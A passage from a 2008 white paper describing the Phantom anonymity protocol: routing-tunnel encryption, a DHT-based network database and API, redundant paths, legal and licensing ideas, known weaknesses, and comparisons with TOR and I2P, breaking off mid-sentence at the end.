Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 53(68) 7.2.4. Secure Communication over Routing Tunnels Once a routing tunnel has been established, the communication over it is extremely simple. Each intermediate node (X-node) in the routing path has one connection in either direction open for the tunnel, and a stream encryption key associated with it (the one that was chosen during the tunnel establishment procedure described above). As soon as any data arrives on either of the two connections, it will be immediately stream encrypted by the node (or decrypted, depending on the direction) byte by byte, with the associated encryption key, and the encrypted (or decrypted) byte is then sent out on the matching opposite connection of the node. This way, each node only works as a forwarding and encrypting proxy, nothing more. The anonymized node keeps track of the encryption key and stream encryption state for each of the intermediate nodes, and can, therefore, easily decrypt and encrypt the bytes that it receives and sends over the routing path. The reason for using stream encryption in each node is to eliminate any and all possibilities for any two non-adjacent nodes in the routing tunnel/path to communicate with each other by means of any kind of data patterns sent over the routing tunnel. For each encrypted unit of data, the stream encryption state in each node is updated, which means that it will produce completely different output even if identical data is sent over the same connection twice. The reason for individually encrypting each byte in the data stream is that it can never be safely assumed that enough data will be sent at a time to fill an entire and even crypto block, and data can of course never be withheld until enough data has arrived in this situation (which might very well never occur in many situations and with many application level protocols). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 54(68) 7.3. Secure End-to-End Encryption and Authentication End-to-end security equivalent to that of SSL, i.e. using secure end-to-end encryption and bidirectional secure asymmetrical authentication, can also be easily be accomplished over the connections of the anonymous network too. The best way is most likely to simply use a regular SSL connection inside the TCP-equivalent anonymized connection that has been described. This way, the common anonymized connection would be the anonymized equivalent of a TCP connection, while the SSL-secured version would be the anonymized equivalent of an SSL/TCP connection. Such SSL security could of course always be applied externally, by the applications themselves on the application level, but it would be a very good idea for several reasons to build it trans- parently into the protocol design, for all connections. This would prevent any and all eaves- dropping attacks by exit nodes, entry nodes and external attackers, and make the protocol much more secure by default. The needed certificates could also be easily integrated into the already existing network database design in an efficient manner. They could be stored in association with each AP address entry, along with the various certificates and other information already being stored there in the design having been presented this far. Due to the inherent problems of using a standard PKI structure with certificate authorities (CA) in an anonymized network (no certificate authority will obviously be able to positively identify the owner of any AP address, since this in the foundational concept), other methods of ensuring the authenticity of end points will have to be used. The classic “web of trust” method can still be used, where one or several trusted actors (either real identities or other AP addresses) can vouch for the authenticity of a certain AP address certificate. Also, a second solution which could be used in parallel with the “web of trust” method is to make it possible for users to manually store trusted end-point certificates for certain AP addresses locally in their computers. These will be compared to the certificates presented by the corresponding AP addresses as soon as they are being connected to, and if a mismatch would occur, a warning will be presented to the user about this. These trusted certificates would typically be acquired and stored the first time an AP address is connected to, or even acquired manually from third party sources, e.g. trusted long-time users of the AP address in question, or from trusted websites on the normal Internet. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 55(68) 7.4. The Network Database 7.4.1. The Simple DHT Abstraction In order to avoid getting stuck in the more complex low-level details of how any specific DHT (Distributed Hash Table3) design or algorithm works, we will remove the need for all such things by creating a simple DHT abstraction that even the most basic forms of DHT designs and algorithms will be able to meet, and use this abstraction for all further discussions. That way, practically any kind of DHT algorithm can be selected and used to implement the Phantom Network Database at a later point, without affecting any of its higher level design or features. It should be noted, however, that some DTH designs may very well already inherently support some of the features that will be discussed as being placed on top of the simple DHT abstraction. In these cases, this will only be regarded as an extra advantage for selecting this particular DHT algorithm, but not as a requirement for any selected algorithm. The following is the simple DHT abstraction that will be used, and the terms describing it: 1. A DHT node is one of the networked users that constitute the DHT. • In the case of the DHT-based Phantom Network Database, all network nodes in the entire anonymized network will be DHT nodes in the database. 2. Any DHT node can store data in the DHT, by submitting a DHT key with data attached to it. • The DHT key can be any sequence of bytes (with some defined maximum length). • The data attached to the DHT key can be any sequence of bytes (with some defined maximum length, normally bigger than the maximum length of the DHT keys). 3. Data can be retrieved from the DHT by any DHT node, by submitting a query for any of its existing DHT keys. 4. The DHT will be able to handle constantly departing and newly joining DHT nodes, without losing any data (or, at least, with a very low risk of doing so). • This is a standard feature of all DHT designs. 5. It should be possible to quickly broadcast certain messages to all DHT nodes. • This is a feature which most DHT designs inherently support, as part of their overlay network structure. 7.4.2. The Phantom Network Database Having just defined the simple DHT abstraction, we can now move on to defining the more advanced distributed Phantom Network Database abstraction. This database abstraction will be built completely upon the simple DHT abstraction described above, thus having the sole requirement of being powered by any DHT design able to live up to that simple DHT abstraction. Here follows a description of the capabilities of the Phantom Network Database (PND), and its related terminology: 1. The database should be resilient to injection of false or unauthentic data. • This can be solved in part by applying voting algorithms for replies, and in part by digitally signing some of its data, where suitable and possible. 2. The database should be resilient to “net splits”, i.e. attackers being able to create an isolated part of the network that they can fully control and monitor, thus being able to trap and track unsuspecting users in it (remember that the entire security of the protocol is based on attackers not being able to control a significant percentage of all nodes in the network). 3 http://en.wikipedia.org/wiki/Distributed_hash_table White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 56(68) • First of all, the designs of most DHT algorithms inherently make such an attack extremely hard to accomplish on a DHT that’s already up and running. This is due to the rather extreme level of random interconnection and automatic balancing between nodes that is constantly occurring. • The most likely method to successfully lure and isolate a certain network node into a separate network would rather be to do it initially, when the victim node is getting connected to the network. Several things could be done to make also this kind of attack much more difficult. • First of all, once a node has been successfully connected to the real network just once, a large amount of previously known nodes could be used to “prime” each subsequent reconnection to the network. This would assure that if just one of these nodes is still legitimate, it will work as an “interconnection” between the real network and any possible false network, giving access to all the nodes in the real network and possibly even “melting together” the real network and the false network (by means of the dynamic balancing and distribution of data throughout all known nodes that is constantly going on in a DHT), thus neutralizing the false network completely. • As for the very first time that a node connects to the network, it is indeed important to get an “entry address” into the network (i.e. the address of any random node that is already connected to the network) from a trusted source. Given the typical exponential growth rate of a network of this kind, it should not take long until most people “know someone” who is already in the network though, and up until that point all users could easily be primed from a central trusted web site or similar. It is important to note though that such a central server will not be needed anymore as soon as the network reaches a “critical mass”, which should happen very quickly. • Finally, given the “melting together” scenario mentioned above, no false network would even be able to survive (at least without detection) if just a single node in that entire network would know about nodes from the real network too. In order to make sure that such a thing would always happen quickly, and thus make sure that no false network could survive for any longer period of time, network nodes could be designed to recurringly “re-prime” themselves from other personal and locally defined “trusted nodes”. Such a trusted node will typically be a network node belonging to a personal friend or similar, and during the re-prime procedure the two nodes that are performing it together (always in a symmetrical fashion) would share with each other a significant amount of information (e.g. IP addresses) about the current network in which they are located, and then merge this data from the other trusted node with their currently existing knowledge about the network. This way a re-primed node originally located in a false network would also immediately get access to the entire real network, and the other nodes in the false network would be reduced to being a small part of the real network instead, which is a situation that the protocol is able to handle by design. Thus, the false network will have been neutralized. 3. The database should support the notion of virtual “tables”, “table fields” and “table records” for storing data. • This can be easily accomplished by only allowing data of certain formats to be stored in the database, where each format belongs to a different virtual table. The data of the different allowed formats could be marked based on its data type, and this will be interpreted by all network nodes in order to know to which virtual table the data belongs. • The notion of table fields and records can be easily accomplished by including different fields in all the different allowed kinds of data formats, thus effectively storing tuples of specific data format in each virtual table. • Each table record can also be submitted with an extra DHT key unique to its parent table, facilitating the subsequent retrieval of “random” records from any specific table, by simply querying for this special table key. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 57(68) 4. The database should be able to return random records from a specified table in a secure fashion (i.e. in a fashion such that no single node can influence more than a maximum of one record in the returned set). • This can be accomplished by querying multiple nodes for the same kind of data, and then, at random, picking a maximum of one data item from each contacted node. To make it even more secure, the same nodes should never, to the extent practically possible, be queried again for random data of the same kind, or even any kind of data, depending on how many different nodes are available in the network. 5. The database should be able to enforce a permission system for certain operations, e.g. allowing only the “owner” of certain data items (i.e. the entity that first inserted the data into the database) to update or remove them, but no one else, and to only allow certain queries altogether. • This can be accomplished by requiring cryptographic authentication for such operations, e.g. by means of requiring a valid digital signature created with the key belonging to a cryptographic certificate that is attached to the pre-existing item to be updated (or deleted). • In the case of allowing only certain specific queries, while disallowing all other queries, this can be a simple matter of having each node pre-filter all queries arriving to it before processing them. The rules defining what will be allowed and not allowed can be hard coded into the application itself, together with the virtual table definitions. 6. The database should be able to enforce expiry dates for certain kinds of data (e.g. table records in certain tables), outside the control of the nodes that are submitting the data. • This can be accomplished by including expiry time limits for records in certain tables, and having each individual node enforcing these limits locally, dropping any stored record as soon as it has passed its expiry time. • In a little more detail, data added to such a table would have its exact expiry time calculated locally by each node that stores the data, based on the defined expiry time limit defined in the table in question, combined with a creation time stamp that comes with the data item itself. In order to prevent “cheating”, no entries having time stamps with future times will be accepted into such a table to begin with. 7. A “command channel”, where centrally authorized commands can be quickly sent to all nodes participating in the network database, should be supported. • This can be easily accomplished by means of a combination of the DHT broadcast feature, and commands signed with an asymmetric master key whose public half is hard coded into all clients. • This way, central network administration, located anywhere on the network, could perform certain administrative actions in order to manually counter large and resourceful attacks against the network, e.g. globally banning certain IP addresses or removing certain entries from the network database. • It is important to note, however, that no such command should ever be able to affect the computers of the network nodes in any way. Because of this, no one should have to worry about the central command key being cracked, since it will at most be able to disrupt the operation of the network, but not any of its clients. And in the unlikely even that such a central command key would be cracked or otherwise compromised, it’s as easy as releasing a new version of the client with a new hardcoded key inside it to completely rectify the situation. • Finally, if such a command feature would still induce too much paranoia among potential users of the protocol, no matter how benign it really is, it can indeed be completely left out, at least until any hypothetical large scale attack against the network actually occurs, which the build in counter measures of the protocol won’t be White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 58(68) able to handle automatically. After all, this might not happen at all (especially judging from the (un)success rate of various attackers trying to disrupt miscellaneous controversial distributed networks on the Internet to this date). 7.4.3. The Phantom Network Database API Having defined the capabilities of the Phantom Network Database above, we can now finally present the exact interface that Phantom nodes will be using to interact with it, e.g. the “allowed queries and operations” on it. This interface will use a subset of the full power of the Phantom Network Database abstraction, and each and every individual node will help making sure, in the best way possible, that no other node can use anything but this subset of the full capabilities, as an extra security measure. • RegisterMyNodeInTheNetwork(own_ip_address, communication_certificate, path_building_certificate) This API will be called by each node as soon as it goes online on the anonymous network. The result will be access granted to the network database, and registration of the node’s IP address in this database at the same time. • ReserveNewAPAddress(routing_certificate) This API will be called when a node in the network wants to acquire a time limited lease of an own incoming AP address in the network. The API returns a new reserved AP address, whose routing table entries will only be able to be updated with valid signatures from the “routing certificate” supplied as a parameter to the API. The same applies for extensions of the lease. In order not to risk compromising the anonymity of the node requesting this AP address, such a request would also have to be passed through a routing path before being issued towards the network database. • ExtendAPAddressLease(ap_address) signed_lease_request, routing_certificate) This API will be called when a node in the network wants to extend its current lease of an AP address already reserved for it. The extension will only be granted if the lease request has a valid signature created by the same routing certificate that was used for the original reservation of the AP address. • UpdateRoutingTableEntry(ap_address, signed_routing_entry, routing_certificate) This API will be called when a node in the network wants to update the routing table entry of its AP address in the network database, to add or remove an entry path. The update will only be granted if the new routing entry has a valid signature created by the same routing certificate that was used for the original reservation of the AP address. • GetRandomNodeIPAddresses(noof_addresses) This API will be called when a node in the network wants a list of random IP addresses for nodes in the anonymous network, e.g. for use in building a new routing path. The network will return the given number of addresses (together with their corresponding communication certificate and path building certificate), where a maximum of only one result comes from the same network database node, in order to prevent any single node from being able to influence or bias the returned set of IP addresses in any significant way. • GetEntryNodesForAPAddress(ap_address) This API will be called when a node in the network wants to resolve a given AP address to the entry nodes through which it can be contacted. A list of all such entry nodes (i.e. their IP addresses and ports) is returned. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 59(68) 7.5. Additional Details 7.5.1. High-Availability Routing Paths In the routing path model presented so far, it can be noted that such paths are not resilient to disappearing nodes inside the path. If only one node becomes unavailable, e.g. shuts down their computer, the entire routing path will fail, in an irreparable fashion. In some situations this is not a very critical problem, while in other it makes the protocol less useful. Thus, having access to a high-availability version of the simple routing path would be an interesting option to have. Even though the creation of high-availability paths that maintain all the secure properties of the normal paths isn’t nearly as easy as could be thought at first glance, it is indeed possible, and, in this section we will see a brief example of such a design. The high-availability path in this example, having double redundancy for all its nodes, would look as follows: Figure 25. High-availability routing path with double redundancy. One of the first problems encountered in this situation is that the anonymized node itself could obviously never be redundant. This causes an asymmetry, which, if not handled carefully, would make it possible for the surrounding X-nodes to know that they are adjacent to the anonymized node. Since the zero-knowledge property of the protocol in this aspect is an important part of the total strength of the anonymity it provides, we don’t want to lose this property. This can be solved by making all high-availability routing paths double-ended, having the actual anonymized node located somewhere between these two ends, just as can be seen in the figure above. As can be seen in the figure, all X-nodes now have both a number and a letter in their designation. The number represents their priority redundancy-wise, and the letter represents their position throughout the routing path. A very short description of the workings of the high-availability routing path follows, purposely incomplete due to the large volume of details necessary to make such a routing path design work in a secure way: • All normal communications go through the X1 nodes, i.e. the ones in the “middle row”. • If any of these X1 nodes should become unavailable at any point, data will be immediately routed around this new “hole” in the path by going through the corresponding X2 node instead (and if this node should also be unavailable, the corresponding X3 node will be used instead), without disrupting the active connection or losing data in any way. • The communication will be immediately routed back to the main X1 path right after this point. • When a node malfunction such as this is detected, it will be immediately communicated to the anonymized node, through a separate command channel, which will in turn repair the routing path by replacing the lost node with a new node, using techniques similar to those used when building normal routing paths. All seamlessly while keeping the connection alive and active. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 60(68) 8. Legal Aspects and Implications 8.1. On a Technical Level In order to exemplify what kind of protection the Phantom protocol really offers, and the limitations of the same, let us use one of the most extreme real-world examples of today, where people are being ferociously persecuted by powerful organizations online. Namely, file sharing. As it now stands, in some jurisdictions a user can be sued for being connected to a torrent containing copyrighted material. Questionable evidence gathering methods aside, it might nevertheless still be claimed that the user in question willingly connected to and participated in the given torrent. These are perfectly valid grounds to sue someone today (which in practice occurs in the form of a John Doe lawsuit against the IP address in question, through which the court will later discover the true identity of the person behind this IP address, by means of a court order issued against the ISP owning the IP address). The “next step” in this scenario might be the ability to sue someone for just using certain file sharing programs or protocols, no matter the content being accessed, or distributed, by the person in question. As far as the author of this paper knows, this has not happened yet, but the boundaries within this and similar fields are constantly being pushed forward, so it would not be overwhelmingly surprising if such legal actions were to be attempted. Going yet a step further, generic anonymization protocols like Phantom enables people to anonymize all kinds of Internet communication, be they political discussions, communications between people in repressed regimes and people in the outside world, and also things like file sharing. This potential for “socially valuable” utility makes it much harder to altogether ban the use of such protocols, and thus, presents the opportunity for a protocol such as Phantom to facilitate and enhance the cause of free and uncensored Internet communication. In the specific example of file sharing, it might still be claimed that people who are “unwittingly” participating in routing file sharing connections through their Phantom enabled computer could still be sued, by means of their IP addresses (i.e. the exit/entry nodes of routing paths). There are, however, some considerable differences between the current litigation models and the participation in a Phantom network. First of all, a Phantom network participant is not in any way willingly participating in the activities against which such a lawsuit is directed. Even more importantly, the user participating in the Phantom network does not in any way have access to any of the potentially “illegal” information itself, due to the encryption being employed to protect it. This makes the participant’s computer more or less equal to any router on the Internet through which an encrypted connection containing illegal information might pass, and I wouldn’t guess that any of those are to be sued anytime soon. The next step that hypothetical Internet censors might take would be to altogether ban encryption on the Internet. This would of course make protocols like Phantom (and a very large group of other protocols) illegal, but such a turn of events would be extremely difficult to get enacted, due to the extreme consequences it would have in a wide variety of fields. Nor would it be easy to enforce. This author would rather say that it would be quite impossible to do so. The last resort for overzealous Internet censors would be to ban the use of Internet altogether, which would of course also seem like an impossible task, considering its use and integration into the very fabric of society today. So, the only remotely realistic, while still seemingly quite difficult, avenue of attacking the protocol and/or its users, would seem to be to attempt to sue users who unwittingly have encrypted pieces of “illegal information” passing through their computers. In order to potentially limit the effective- ness of such claims, the license of the protocol and its implementations could possibly be optimized with the goal of countering or limiting such claims, which will be discussed in the next section. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 61(68) 8.2. On a Legal/License Related Level As mentioned in the previous section, the only even remotely realistic way of attempting to attack the deployment and use of the protocol (still without any possibility to track down its anonymized users though) would be to attempt to sue the users owning the entry and exit nodes of routing paths, despite the fact that these are in no way willingly sponsoring any of the communication that passes through their computers, nor have access to, or specific knowledge of, any of its contents. In order to make such legal attacks even more difficult, it would perhaps be possible to make some adaptations to the license of the protocol and its implementations (do note that I in no way claim to have any legal skills, so this is just hopeful speculation!). Put as simply as possible, such a license tweak would amount to stating in the license of the main protocol specification that any and all implementations of it will have to use a certain EULA. This EULA, in turn, would state that through use of the protocol implementation in question, the user understands, and agrees, that no node in the anonymous network may be held responsible for any of the data that is being routed through it, due to the simple fact that the user neither controls what such data may contain, nor has any possibility whatsoever of accessing the data itself, and that thus, no data gathered through use of the specific protocol implementation may be used in support of a lawsuit against any of its users who are just routing data. If such a license and EULA clause would work as intended (I’m quite sure there will be several different kinds of problems with it though, but hopefully it would contribute at least somewhat to the security of the protocol), it would put any would-be Internet censor in somewhat of a predicament, since if they use the protocol specification to create their own implementation, they will be breaking the main protocol license if they don’t include the specified EULA, and if they use any legal protocol implementation, i.e. one using the specified EULA, they have been explicitly informed about the innocence of the intermediate notes of routing paths (which are the only nodes whose IP address they will ever know), and are also forbidden, by their own express agreement, from gathering data with it for any lawsuit. Oh well, as mentioned above, just a crazy idea, which will most likely not be fully effective in all countries, but still, hopefully at least partly efficient in some countries. In order to get it right from the start, it is hereby announced that this protocol implementation is released under this exact license. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 62(68) 9. Review of Design Goals This chapter will try to assess how well the design that has been presented matches the initially established design goals. This will be done by reviewing the design goals one by one, and matching them up with features of the presented protocol design that fulfill and realize them. 9.1. Matching of Design Goals with Features of the Protocol 9.1.1. Complete Decentralization • The protocol design has no central points, or even nodes that are individually more valuable to the collective functionality of the anonymous network than any other. • Thus, there are no single points of the network to attack, neither technically nor legally, in order to bring down any other parts of the network than those specific ones attacked. 9.1.2. Maximum Resistance against All Kinds of DoS Attacks • Resistance against all kinds of DoS attack vectors has been of constant concern during the design process of the protocol. It is always impossible to defend against all kinds of attacks that can in any way affect the operation of a technical solution (giant meteor smashing the earth to pieces, anyone?), and this is also an area that can always be improved infinitely (sadly in many cases at the expense of performance or resource use), but it is my sincere hope and belief that the design in its current form should make the protocol resilient enough to survive the expected and predictable kinds of attacks current on the Internet of today. 9.1.3. Theoretically Secure Anonymization • Each and every part of the design of this protocol has been created with (theoretically) secure anonymization in mind. It is a very difficult problem for which to present a unified theoretical proof, and as mentioned before, some of the prerequisites and design goals forces us to use a design that is in some situations only probabilistically secure (meaning that if the same attacker owns all the randomly selected nodes in a routing path, they could theoretically connect the AP address and IP address of the anonymized node owning the same routing path, thus compromising its anonymity). That being said, the design is optimized to also minimize the probability factors of the probabilistic risks, and even make them arbitrarily small by individual user selection, with performance loss for your own communication as the trade- off. As with most non-theoretically provable security systems, however, I guess that, in the end, the truth will be decided only by the test of time (or possibly even at once by the collected hacker elite of the world, when this paper is presented in Las Vegas, but hopefully not). I can only hope that I have been able to present the different parts of the protocol in a way that makes them understandable and clear enough to enable efficient analysis and consideration. 9.1.4. Theoretically Secure End-to-End Encryption • It is made impossible for any node in a routing tunnel or routing path to decrypt anything being sent locally inside this tunnel, by means of symmetrical stream encryption of each individual byte in all communicated data. • SSL connections are used as an external shell for all connections going between nodes in the protocol, ensuring that no external attacker can eavesdrop on any data. • SSL equivalent functionality is also suggested to always be applied inside each anonymized connection being made over the anonymized network (i.e. already being inside the external SSL shell and the symmetrical stream encryption provided by all routing paths). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 63(68) 9.1.5. Complete (Virtual) Isolation from the "Normal" Internet • It is impossible to contact and communicate with any regular IP address on the Internet from inside the anonymous network, unless the computer at the IP address has willfully installed a Phantom client on the computer. Thus, the network cannot be used to anonymously commit illegal acts against any computer that has not itself joined the anonymous network, and thus accepted the risks involved in anonymous communication. 9.1.6. Maximum Protection against Protocol Identification/Profiling • SSL connections are used as an external shell for all connections used by the protocol, and by default they also use the standard web server SSL port (tcp/443). Thus, neither the port number nor any of the contents of the communication can be directly used to distinguish it from common secure web traffic (there are of course always enough advanced traffic analysis methods to identify certain kinds of traffic, or at least distinguish traffic from a certain other kind of traffic, but if this is made sufficiently difficult, it will take up too much resources or produce too many false positives to be practically and commercially viable). 9.1.7. High Traffic Volume and Throughput Capacity • Due to the design of the protocol, there is no practical way for a node to know if it is communicating directly with a certain node on the anonymous network, or rather with the terminating node of one of its routing paths. Thus, single point-to-point connections between two nodes on the anonymous network, without any intermediate nodes at all, can be performed while still preserving a great measure of anonymity, or at least anonymity in the form of “reasonable doubt”, which is all that is needed in many cases. This in turn will enable the transfer of very large data volumes, at speeds similar to normal, non-anonymized, Internet traffic, without for that matter using excessive resources, either from the underlying network or the participating nodes in the network. 9.1.8. Generic, Well-Abstracted and Backward Compatible Design • The protocol emulates generic TCP communication, ready to be used for anything that common TCP communication can be used for, but in an anonymized way. • UDP communication could also be implemented if desired, either by simply tunneling it over the common TCP-equivalent connections, or by using an identical design based on UDP communication altogether. • The design is also abstracted in a way that each individual part of the protocol design (e.g. the establishment of routing paths, the establishment of routing tunnels or secure end-to-end communication) can be exchanged or redesigned without the other parts being affected or having to be redesigned at the same time. • As has been presented, the anonymization protocol can be transparently applied to any already existing networking-enabled application, by means of some simple binary hooks, without either help from the original author or having the application itself knowing anything about it. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 64(68) 10. Known Weaknesses In this section, some of the known weaknesses and avenues of attacking the protocol will be presented and summarized. 1. If all the nodes in a routing path are being controlled by the same attacker, this attacker can synchronize the information of the individual intermediate nodes in a way that the anonymized node can be bound to the terminating intermediate node of the routing path (i.e. the entry/exit node). • In the case of a pure exit path, this will only result in the attacker being able to monitor which other AP addresses the anonymized node is communication with through this specific tunnel. • In the case of an entry path, the attacker will be able to discover the connection between the AP address of the path and the IP address of the anonymized node that owns it, and thus be able to know the identity behind this AP address in a more permanent fashion (until the anonymized node changes it’s AP address anyway, if ever). • Under no circumstances, however, will the attacker be able to take part of any of the data being transported over the routing path, due to the end-to-end encryption that is always employed for all communications in the Phantom network. • One very important detail is that it will be very difficult for the attacker to conclusively know that its nodes actually constitute the entire path, because the last node in the path before the anonymized node will never be able to determine if it is actually communicating with the anonymized node itself, or with just yet another intermediate node in a routing path. This is indeed a very important strength of the protocol design. 2. If a specific attacker would be able to monitor and correlate all network traffic throughout an entire routing tunnel, this attacker would be able to trace the routing path backwards or forward from one of its endpoints to the other (by means of seeing that the exact amount of bytes that arrive to a node is being sent along to another node immediately after it has arrived to the first node, in a repeated fashion), thus successfully executing an attack with the same consequences as in item 1 above, but also in addition not having to be in doubt regarding whether the tunnel is really being terminated at the last node the attacker knows about or not. • Some anonymization protocols solve this problem (well, at least try to anyway), by explicitly delaying data in each routing point, and in some cases even by adding junk data connections in each step. However, since such a concept would not at all align with the Phantom design goal of being a high throughput network, the best solution is most likely rather to optimize the intermediate node selection algorithms in such a way that nodes are chosen that are not likely to be under the control and correlation capability of the same attacker, e.g. selecting the IP addresses for these nodes in such a way that they are not located at the same ISP, or not even in the same country or part of the world. This will of course also have a negative impact on throughput, so such an optimization is probably best made available as a user individual option, since this choice only affects the user’s own anonymity and throughput, and nothing else. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 65(68) 3. Individual intermediate nodes in a routing path could try to communicate their identity (i.e. IP address) to other non-adjacent intermediate nodes throughout the same routing path, by means of different kinds of covert channels. Such covert channels would include coding information into the timing between data chunks being sent over the tunnel, or into the size of these data chunks. The only information that would need to be communicated from one attacker node to another would be their IP address, by which they could then connect directly to each other separately to exchange arbitrary amounts of information. • This is a real threat indeed, but again, due to the fact that none of these attacker nodes can be certain about whether it is adjacent to the anonymized node itself or not, the damage is luckily somewhat limited. And again, no actual data from the tunnel could ever be eavesdropped upon. • Countermeasures in the form of micro delays and data chunk size reorganization in intermediate nodes could be more or less successfully employed against these kinds of attacks, but none of these protective measures will ever be 100% secure, so this threat should indeed be taken seriously. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 66(68) 11. Comparison with Other Anonymization Solutions 11.1. Advantages of Phantom over TOR Some advantages of Phantom compared to TOR are: • Phantom is designed from the ground up with current and future anonymization needs and demand in mind. • Phantom is compatible with all existing and future network enabled software, without any need for adaptations or upgrades. • Phantom has much higher throughput, not being limited by a specific number of out-proxies. • If the “self eliminating” reasonable doubt inducing design of Phantom is taken into consideration, the maximum network throughput level is even equal to that of normal non- anonymized communication! • Another throughput generating design detail is the possibility of selecting your own routing nodes, thus being able to pick ones that are close to yourself on high-speed connections. • Phantom has no maximum limit for how much data can be transferred, while TOR explicitly forbids any larger volumes of data being transferred through it. • The Phantom network is isolated from the rest of the Internet, and thus, no participating node ever has to worry about any kind of criminal act being perpetrated against targets on the “common Internet” from their own IP address. Only nodes that have willingly joined and explicitly accepted the risks of being reachable by anonymous communication can be targets of anything bad, and thus, they also have the possibility to regulate what services they make available to the anonymous network, which even further reduces this risk. • Even so, any person can easily create an “out-proxy” specific to incoming traffic to their own network or servers, which would enable anonymous access only to this limited network space. Therefore, the advantages of TOR out-proxies are in no way lost, just selectively accessible, and with the possibility of much better control. • The secrecy of all information being transferred through the Phantom network is always inherently assured, through the use of integrated and mandatory PKI and asymmetric end-to- end encryption. • Attacks like the “out-proxy sniffing” being possible in the TOR network are impossible with the Phantom network, due to this enforced end-to-end encryption. • The “DNS leak” and similar kinds of attacks, that have gotten some attention in connection to the use of TOR, are made impossible by Phantom. This is because all network communi- cation operations in the anonymized application (or even the entire operating system if so preferred) are being hooked at the operating system level. Thus, a user mode application is unable to bypass the redirection of traffic even if it wanted to, and even more so if someone attempted to trick it into doing so. • Phantom better prevents positive identification through traffic analysis, through the exclusive use of common SSL connections for its traffic (as an “outer shell” that is). This makes it much harder to automatically block at the ISP level, since any attempts to automatically block it would most likely bring with it large amounts of false positives in the form of common legitimate encrypted web traffic (HTTPS) being blocked. ISPs would want to prevent such false positives at all costs, since web surfing stability is one of the veritable central bench- marks for how customers experience the quality of the services delivered by any ISP. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 67(68) 11.2. Advantages of Phantom over I2P Some advantages of Phantom compared to I2P4 are: • Phantom is compatible with all existing and future network enabled software, without any need for adaptations or upgrades. • Phantom has higher throughput, having an explicit focus on high throughput rather than low latency. • If the “self eliminating” reasonable doubt inducing design of Phantom is taken into consideration, the maximum throughput is even equal to normal non-anonymized communication! • Another throughput generating design detail is the possibility of selecting your own routing nodes, thus being able to pick ones that are close to yourself on high-speed connections. • The secrecy of all information being transferred through the Phantom network is always inherently assured, through the use of integrated and mandatory PKI and asymmetric end-to- end encryption. • Since version 0.6, I2P no longer supports end-to-end encryption in all cases. • Phantom better prevents positive identification through traffic analysis, through the exclusive use of common SSL connections for its traffic (as an “outer shell” that is). This makes it much harder to automatically block at the ISP level, since any attempts to automatically block it would most likely bring with it large amounts of false positives in the form of common legitimate encrypted web traffic (HTTPS) being blocked. ISPs would want to prevent such false positives at all costs, since web surfing stability is one of the veritable central bench- marks for how customers experience the quality of the services delivered by any ISP. 11.3. Advantages of Phantom over Anonymized File Sharing Software There already exists some file sharing applications with built-in anonymization of different degrees and levels of quality. Without going into their specific technical properties, it can quickly be established that these are much more likely to be the victims of “general bans” of the entire protocol or application, since it is much easier to claim that “X% of all files shared through this protocol are illegal, there are also protocols with equal file transfer capability, and thus it would be justified to ban/block this protocol altogether”. When it comes to generic anonymization protocols like Phantom, it is completely impossible to make any estimate of how large a part of its traffic is being used for any certain kind of activity, since the only way to know what is being transferred through a Phantom connection it to be one of the end-points of the communication itself, i.e. either being the origin or the intended receiver of the transferred data. And then last, but absolutely not least, there are of course a lot more activities benefitting from anonymization than just file transfer and file sharing. So, making the anonymization protocol generic and non-application specific does certainly increase its usefulness and potential, by several orders of magnitude, just by itself. 4 http://www.i2p2.de White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 68(68) 12. Summary and Future of the Protocol This white paper is in no way a complete protocol specification, far from it actually. Its main goal is rather to provide suggestions for solutions for several typical problems that are bound to arise when designing a decentralized anonymization protocol and collect them all in a comprehensive and more or less easily digested single source of documentation which could hopefully work as some kind of reference point for any discussions that may be inspired by it. The author of this paper sees a great potential and future demand for a generic anonymization protocol that has most, or all, of the stipulated properties of the Phantom protocol. Knowing that the actual creation of a secure protocol of the proposed design, along with all things related to such an endeavor, normally requires both the knowledge, resources and review of many well qualified contributors, this paper is mainly an attempt to induce discussion, and inspire a more organized design and development project focused on creating such a protocol, not necessarily having all the exact properties and design details of the Phantom protocol at all. In order to minimize any future design and implementation effort, and in order to isolate the important questions specific to anonymity, care was also taken to build upon well-known and robust existing technologies where suitable, e.g. SSL and distributed hash tables. The work on this project was started long before the idea of presenting it at a conference arose. Since such a presentation is perfectly aligned with the goal of maximizing the outreach and potential to inspire discussion, however, it was a given path of action once it came to mind. Finally, it should be noted that several previous protocol designs and implementations exist that share some of the properties and features of the Phantom protocol. The author of this paper however, found it to be an interesting challenge to take one step back, to really think through which design goals would be most desired and important in such a protocol of today and the future, and then demonstrate by more or less detailed example that a protocol following these design criteria could, indeed, practically be brought together as a whole. One current, particularly promising anonymization protocol, among those of which this author is currently aware, which is also the one sharing most properties with Phantom (although still lacking several of them, as 